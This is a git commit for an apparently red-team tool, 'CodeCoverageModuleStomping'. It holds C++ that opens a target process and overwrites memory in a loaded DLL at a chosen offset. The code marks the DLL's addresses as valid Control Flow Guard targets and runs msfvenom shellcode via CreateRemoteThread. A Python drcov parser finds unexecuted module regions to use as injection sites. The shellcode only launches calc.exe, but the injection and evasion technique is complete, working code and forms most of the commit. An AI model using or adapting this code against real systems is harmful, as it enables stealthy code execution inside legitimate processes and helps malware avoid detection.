Initial code

This commit is contained in:
William Knowles
2020-01-07 23:25:37 +00:00
parent cf65038927
commit d12cada479
8 changed files with 655 additions and 1 deletions
@@ -0,0 +1,31 @@
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.29613.14
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CodeCoverageMiniStompInjection", "CodeCoverageMiniStompInjection\CodeCoverageMiniStompInjection.vcxproj", "{0DAF446C-3714-4584-BB25-FC5F0879E861}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{0DAF446C-3714-4584-BB25-FC5F0879E861}.Debug|x64.ActiveCfg = Debug|x64
{0DAF446C-3714-4584-BB25-FC5F0879E861}.Debug|x64.Build.0 = Debug|x64
{0DAF446C-3714-4584-BB25-FC5F0879E861}.Debug|x86.ActiveCfg = Debug|Win32
{0DAF446C-3714-4584-BB25-FC5F0879E861}.Debug|x86.Build.0 = Debug|Win32
{0DAF446C-3714-4584-BB25-FC5F0879E861}.Release|x64.ActiveCfg = Release|x64
{0DAF446C-3714-4584-BB25-FC5F0879E861}.Release|x64.Build.0 = Release|x64
{0DAF446C-3714-4584-BB25-FC5F0879E861}.Release|x86.ActiveCfg = Release|Win32
{0DAF446C-3714-4584-BB25-FC5F0879E861}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {717FCA4C-C5AC-48C8-BFD4-D1D7FE0AF7F4}
EndGlobalSection
EndGlobal
@@ -0,0 +1,239 @@
#include <algorithm>
#include <iostream>
#include <string>
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#include <tlhelp32.h>
#include <chrono>
#include <thread>
#pragma comment(lib, "mincore.lib")
#include "CodeCoverageMiniStompInjection.h"
DWORD FindProcessByPID(const std::wstring& processName)
{
PROCESSENTRY32 processInfo;
processInfo.dwSize = sizeof(processInfo);
HANDLE processesSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (processesSnapshot == INVALID_HANDLE_VALUE)
return 0;
Process32First(processesSnapshot, &processInfo);
if (!processName.compare(processInfo.szExeFile))
{
CloseHandle(processesSnapshot);
return processInfo.th32ProcessID;
}
while (Process32Next(processesSnapshot, &processInfo))
{
if (!processName.compare(processInfo.szExeFile))
{
CloseHandle(processesSnapshot);
return processInfo.th32ProcessID;
}
}
CloseHandle(processesSnapshot);
return 0;
}
void KillProcessByName(const std::wstring& processName)
{
PROCESSENTRY32 processInfo;
processInfo.dwSize = sizeof(processInfo);
HANDLE processesSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (processesSnapshot == INVALID_HANDLE_VALUE)
return;
Process32First(processesSnapshot, &processInfo);
if (!processName.compare(processInfo.szExeFile))
{
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, 0,
processInfo.th32ProcessID);
if (hProcess != NULL)
{
TerminateProcess(hProcess, 9);
CloseHandle(hProcess);
}
}
while (Process32Next(processesSnapshot, &processInfo))
{
if (!processName.compare(processInfo.szExeFile))
{
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, 0,
processInfo.th32ProcessID);
if (hProcess != NULL)
{
TerminateProcess(hProcess, 9);
CloseHandle(hProcess);
}
}
}
CloseHandle(processesSnapshot);
}
DWORD SetUpTargetProcess(std::wstring targetProcessName)
{
// Kill existing notepad processes
KillProcessByName(targetProcessName);
// Start a new notepad process
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
// Start the child process.
if (!CreateProcess(NULL, // No module name (use command line)
(LPWSTR)targetProcessName.c_str(), // Command line
NULL, // Process handle not inheritable
NULL, // Thread handle not inheritable
FALSE, // Set handle inheritance to FALSE
0, // No creation flags
NULL, // Use parent's environment block
NULL, // Use parent's starting directory
&si, // Pointer to STARTUPINFO structure
&pi) // Pointer to PROCESS_INFORMATION structure
)
{
printf("CreateProcess failed (%d).\n", GetLastError());
return 0;
}
std::this_thread::sleep_for(std::chrono::seconds(2)); // sleep to give process time to actually start
// Find PID of new notepad process
DWORD targetPID = FindProcessByPID(targetProcessName);
return targetPID;
}
int InjectIntoModule(DWORD processID, std::wstring moduleTarget, DWORD offsetInMemory)
{
std::cout << std::endl;
//std::cout << "Process launched. Attach debugger now if required. Proceed with injection?" << std::endl;
//system("pause");
HMODULE hMods[1024];
HANDLE hProcess;
DWORD cbNeeded;
unsigned int i;
// Print the process identifier.
std::cout << "Process ID: " << processID << std::endl;
// Get a handle to the process.
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processID);
if (NULL == hProcess)
{
std::cout << "Could not open handle to process." << std::endl;
return 1;
}
std::cout << "Handle to external process obtained." << std::endl;
// Get a list of all the modules in this process.
if (EnumProcessModules(hProcess, hMods, sizeof(hMods), &cbNeeded))
{
for (i = 0; i < (cbNeeded / sizeof(HMODULE)); i++)
{
TCHAR szModName[MAX_PATH];
// Get the full path to the module's file.
if (GetModuleFileNameEx(hProcess, hMods[i], szModName,
sizeof(szModName) / sizeof(TCHAR)))
{
std::wstring moduleCurrent = std::wstring(szModName);
std::transform(moduleCurrent.begin(), moduleCurrent.end(), moduleCurrent.begin(), std::tolower);
if (wcsstr(moduleCurrent.c_str(), moduleTarget.c_str()) != 0)
{
std::wcout << "Target module found: " << szModName << " is at " << hMods[i] << std::endl;
PVOID remoteBuffer;// = hMods[i];
remoteBuffer = (int*)((char*)hMods[i] + offsetInMemory); //offsetInMemory
//remoteBuffer = VirtualAllocEx(hProcess, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
// make memory section writable
std::cout << "Modifying module memory to be writable." << std::endl;
DWORD oldProtect;
DWORD virtualProtectRWE = VirtualProtectEx(hProcess, remoteBuffer, sizeof shellcode, PAGE_EXECUTE_WRITECOPY, &oldProtect);
if (virtualProtectRWE == 0)
{
std::cout << "Error when making memory RWE: " << GetLastError() << std::endl;
}
//system("pause");
MODULEINFO currentModule;
ZeroMemory(&currentModule, sizeof(currentModule));
GetModuleInformation(hProcess, hMods[i], &currentModule, sizeof currentModule);
std::cout << "Setting CFG call targets." << std::endl;
for (unsigned int n = 0; n < currentModule.SizeOfImage; n += 16)
{
CFG_CALL_TARGET_INFO offsetInfo;
offsetInfo.Flags = CFG_CALL_TARGET_VALID;
offsetInfo.Offset = n;
if (!SetProcessValidCallTargets(hProcess, (void*)currentModule.lpBaseOfDll, currentModule.SizeOfImage, 1, &offsetInfo))
{
std::cout << "Error when calling SetProcessValidCallTargets: " << GetLastError() << std::endl;
}
}
// write data
std::cout << "Writing shellcode to external process. Total bytes: " << (sizeof shellcode) << std::endl;
DWORD writeProcessMemory = WriteProcessMemory(hProcess, remoteBuffer, shellcode, sizeof shellcode, NULL);
if (writeProcessMemory == 0)
{
std::cout << "Error when writing to external process' memory: " << GetLastError() << std::endl;
}
//system("pause");
std::cout << "Creating thread in external process." << std::endl;
HANDLE rThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
if (rThread == NULL)
{
std::cout << "Error when creating remote thread: " << GetLastError() << std::endl;
}
//system("pause");
std::cout << "Modifying module memory to be non-writable." << std::endl;
VirtualProtectEx(hProcess, hMods[i], sizeof shellcode, PAGE_EXECUTE_READ, &oldProtect);
}
}
}
}
// Release the handle to the process.
CloseHandle(hProcess);
return 0;
}
int wmain(int argc, wchar_t* argv[])
{
if (argc != 4)
{
std::cout << "DLLCoverage.exe <program.exe> <module.dll> <offsetBytes>" << std::endl;
return 1;
}
// Set up target process
DWORD targetPID = SetUpTargetProcess(argv[1]);
// 1==moduleName, 2=offset, 3==freeSpace
InjectIntoModule(targetPID, argv[2], _wtoi(argv[3]));
return 0;
}
@@ -0,0 +1,28 @@
#pragma once
// msfvenom -f c -p windows/x64/exec CMD="C:\windows\system32\calc.exe" -b \x00\x0a\x0d EXITFUNC=thread
unsigned char shellcode[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x48\x31\xc9\x48\x81\xe9\xdb\xff\xff\xff\x48\x8d\x05\xef\xff"
"\xff\xff\x48\xbb\xc3\x89\x60\xf6\x85\x2f\x95\xc3\x48\x31\x58"
"\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x3f\xc1\xe3\x12\x75\xc7"
"\x55\xc3\xc3\x89\x21\xa7\xc4\x7f\xc7\x92\x95\xc1\x51\x24\xe0"
"\x67\x1e\x91\xa3\xc1\xeb\xa4\x9d\x67\x1e\x91\xe3\xc1\xeb\x84"
"\xd5\x67\x9a\x74\x89\xc3\x2d\xc7\x4c\x67\xa4\x03\x6f\xb5\x01"
"\x8a\x87\x03\xb5\x82\x02\x40\x6d\xb7\x84\xee\x77\x2e\x91\xc8"
"\x31\xbe\x0e\x7d\xb5\x48\x81\xb5\x28\xf7\x55\xa4\x15\x4b\xc3"
"\x89\x60\xbe\x00\xef\xe1\xa4\x8b\x88\xb0\xa6\x0e\x67\x8d\x87"
"\x48\xc9\x40\xbf\x84\xff\x76\x95\x8b\x76\xa9\xb7\x0e\x1b\x1d"
"\x8b\xc2\x5f\x2d\xc7\x4c\x67\xa4\x03\x6f\xc8\xa1\x3f\x88\x6e"
"\x94\x02\xfb\x69\x15\x07\xc9\x2c\xd9\xe7\xcb\xcc\x59\x27\xf0"
"\xf7\xcd\x87\x48\xc9\x44\xbf\x84\xff\xf3\x82\x48\x85\x28\xb2"
"\x0e\x6f\x89\x8a\xc2\x59\x21\x7d\x81\xa7\xdd\xc2\x13\xc8\x38"
"\xb7\xdd\x71\xcc\x99\x82\xd1\x21\xaf\xc4\x75\xdd\x40\x2f\xa9"
"\x21\xa4\x7a\xcf\xcd\x82\x9a\xd3\x28\x7d\x97\xc6\xc2\x3c\x3c"
"\x76\x3d\xbe\x3f\x2e\x95\xc3\xc3\x89\x60\xf6\x85\x67\x18\x4e"
"\xc2\x88\x60\xf6\xc4\x95\xa4\x48\xac\x0e\x9f\x23\x3e\xcf\x88"
"\xe9\xc9\xc8\xda\x50\x10\x92\x08\x3c\x16\xc1\xe3\x32\xad\x13"
"\x93\xbf\xc9\x09\x9b\x16\xf0\x2a\x2e\x84\xd0\xfb\x0f\x9c\x85"
"\x76\xd4\x4a\x19\x76\xb5\xb5\xbf\x73\xe2\xaa\xad\xed\x0f\x81"
"\xf6\x73\xe6\xba\xb0\xfd\x05\x9b\xb6\x1d\xc9\xa0\xa2\xe5\x03"
"\xd8\xe0\x57\xf0\xc3";
@@ -0,0 +1,158 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<ProjectGuid>{0DAF446C-3714-4584-BB25-FC5F0879E861}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>CodeCoverageMiniStompInjection</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="CodeCoverageMiniStompInjection.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="CodeCoverageMiniStompInjection.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
@@ -0,0 +1,27 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="CodeCoverageMiniStompInjection.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="CodeCoverageMiniStompInjection.h">
<Filter>Source Files</Filter>
</ClInclude>
</ItemGroup>
</Project>
@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>
+21 -1
View File
@@ -1 +1,21 @@
# CodeCoverageModuleStomping
# CodeCoverageModuleStomping
Tools to support code coverage based module stomping. Based on the blog post: http://williamknowles.io/?p=14
parse-drcov-identify-untouched.py - analyses DynamoRIO's drcov output. Run the script as follows, with the argument being the drcov output file.
```
parse-drcov-identify-untouched.py drcov.mspaint.exe.11520.0000.proc-win10-beacon.log
```
CodeCoverageModuleStomping - a simple C++ project for testing injecting into the memory regions of an already loaded module (DLL) at a particular offset. Shellcode should be included in the only header file of the project. It's designed for testing on Windows 10 and sets up call targets for Control Flow Guard (CFG); if you want to run this on older operating systems you'll probably need to comment this section of code out. Run the compiled binary as follows:
```
CodeCoverageMiniStompInjection.exe <program-to-start-to-inject-into> <module-name-to-inject-into> <offset-bytes-into-module>
```
For example:
```
CodeCoverageMiniStompInjection.exe mspaint.exe combase.dll 1599552
```
+147
View File
@@ -0,0 +1,147 @@
#!/usr/bin/python3
import csv
from prettytable import PrettyTable
import sys
if len(sys.argv) <= 1:
print("\nGrab code coverage data with DynamoRIO's drcov:\n")
print("bin64/drrun.exe -t drcov -dump_text -- notepad")
print("\nOutputs *.log which can be passed here as an argument.\n")
print("python3 parse-drcov-untouched.py file.log")
print("\nCode is terrible, and commonly takes 5+ minutes to run, so it requires a bit of patience.\n")
sys.exit(1)
with open(sys.argv[1], "r") as inputFileRaw:
inputFile = inputFileRaw.read().splitlines()
startCollectingModules = False
startCollectingExecution = False
modulesList = []
modulesDict = {}
modulesExecution = {}
moduleStartAddress = {}
modulePathLocation = {}
for line in inputFile:
if "Columns: id, containing_id, start, end, entry, offset, checksum, timestamp, path" in line:
modulesList.append(line[9:].replace(" ","").lstrip().rstrip())
startCollectingModules = True
continue
if startCollectingModules:
if "BB Table" in line:
startCollectingModules=False
break
modulesList.append(line.replace(" ","").lstrip().rstrip()) # note that this may mess up the path if it has spaces in it
modulesDict = csv.DictReader(modulesList)
print("Generating dict to track byte-by-byte execution in each module.")
for module in modulesDict:
modulesExecution[module["id"]] = {}
for i in range(0, int(module["end"], 0)-int(module["start"], 0)):
modulesExecution[module["id"]][str("{0:#0{1}x}".format(i,18)).lower()] = 0
moduleStartAddress[module["id"]] = module["start"]
modulePathLocation[module["id"]] = module["path"]
print("Analysing execution.")
lineCount=0
for line in inputFile:
lineCount+=1
if "module id, start, size:" in line:
startCollectingExecution = True
continue # skip to next line
if startCollectingExecution:
moduleNumber = line.split(":")[0].split("[")[1].split("]")[0].lstrip().rstrip()
executionLocation = line.split(":")[1].split(",")[0].lstrip().rstrip()
executionSize = line.split(":")[1].split(",")[1].lstrip().rstrip()
for i in range(int(executionLocation, 0), int(executionLocation, 0) + int(executionSize) + 1): # + 1 just to be sure
try:
addressWithBase = str("{0:#0{1}x}".format(i,18)).lower()
if addressWithBase in modulesExecution[moduleNumber]:
modulesExecution[moduleNumber][addressWithBase] = 1
except Exception as e:
print(f"Exception occurred when adding touched address to dict: {e}")
print(f"Input file line: {lineCount}")
print(f"addressWithBase: {addressWithBase}")
print(f"moduleNumber: {moduleNumber}")
x = PrettyTable()
x.field_names = ["Path", "Touched (Bytes)", "Untouched (Bytes)", "Coverage (%)", "Largest Untouched (Bytes)", "Largest Untouched (Offset Bytes)"]
for moduleKey,moduleValue in modulesExecution.items():
if "DynamoRIO".lower() in modulePathLocation[moduleKey].lower():
continue
try:
untouchedBytes=0
touchedBytes=0
for addressLocation,addressUsed in moduleValue.items():
if int(addressUsed) == 0:
untouchedBytes+=1
if int(addressUsed) == 1:
touchedBytes+=1
currentUntouchedCount=0
currentUntouchedBaseAddress="0x0000000000000000"
largestUntouchedCount=0
largestUntouchedBaseAddress="0x0000000000000000"
lastAddressWasOneOrFirst=True
for addressLocation,addressUsed in moduleValue.items():
if int(addressUsed) == 0:
currentUntouchedCount+=1
if lastAddressWasOneOrFirst:
currentUntouchedBaseAddress=addressLocation
lastAddressWasOneOrFirst=False
else:
if currentUntouchedCount > largestUntouchedCount:
largestUntouchedCount = currentUntouchedCount
largestUntouchedBaseAddress = currentUntouchedBaseAddress
currentUntouchedCount=0
lastAddressWasOneOrFirst=True
# handle situation where nothing is touched (== the entire binary)
if touchedBytes==0:
largestUntouchedCount=untouchedBytes
# OPTIONAL (can be removed): make sure the largest offset is at a 16 byte offset from the beginning of he file
amountAdded=0
largestUntouchedBaseAddress = int(largestUntouchedBaseAddress, 16)
while (largestUntouchedBaseAddress % 16 != 0):
largestUntouchedBaseAddress+=1
amountAdded+=1
largestUntouchedCount=largestUntouchedCount-amountAdded # removed what's added to reflect smaller untouched buffer
#largestUntouchedBaseAddressFull = str("{0:#0{1}x}".format(int(largestUntouchedBaseAddress, 16),18)).lower()
codeCoveragePercentage = format(touchedBytes/untouchedBytes*100, ".3f")
# Module-by-module output (non-tabular)
# print("************************")
# print(f"Module path location: {modulePathLocation[moduleKey]}")
# print(f"Memory addresses touched (bytes)): {str(touchedBytes)} ({str(size(touchedBytes))})")
# print(f"Memory addresses untouched (bytes)): {str(untouchedBytes)} ({str(size(untouchedBytes))})")
# print(f"Code coverage (%): {str(codeCoveragePercentage)}")
# print(f"Largest untouched space (bytes): {str(largestUntouchedCount)} ({str(size(largestUntouchedCount))})")
# print(f"Largest untouched space (base address): {str(largestUntouchedBaseAddressFull)}")
x.add_row([modulePathLocation[moduleKey], touchedBytes, untouchedBytes, codeCoveragePercentage, largestUntouchedCount, largestUntouchedBaseAddress])
except Exception as e:
print(f"Exception occurred when analysing module: {e}")
print(f"largestUntouchedBaseAddress: {largestUntouchedBaseAddress}")
print(f"largestUntouchedCount: {largestUntouchedCount}")
print(f"moduleNumber: {moduleKey}")
# print table output
x.sortby = "Largest Untouched (Bytes)"
x.reversesort = True
print(x)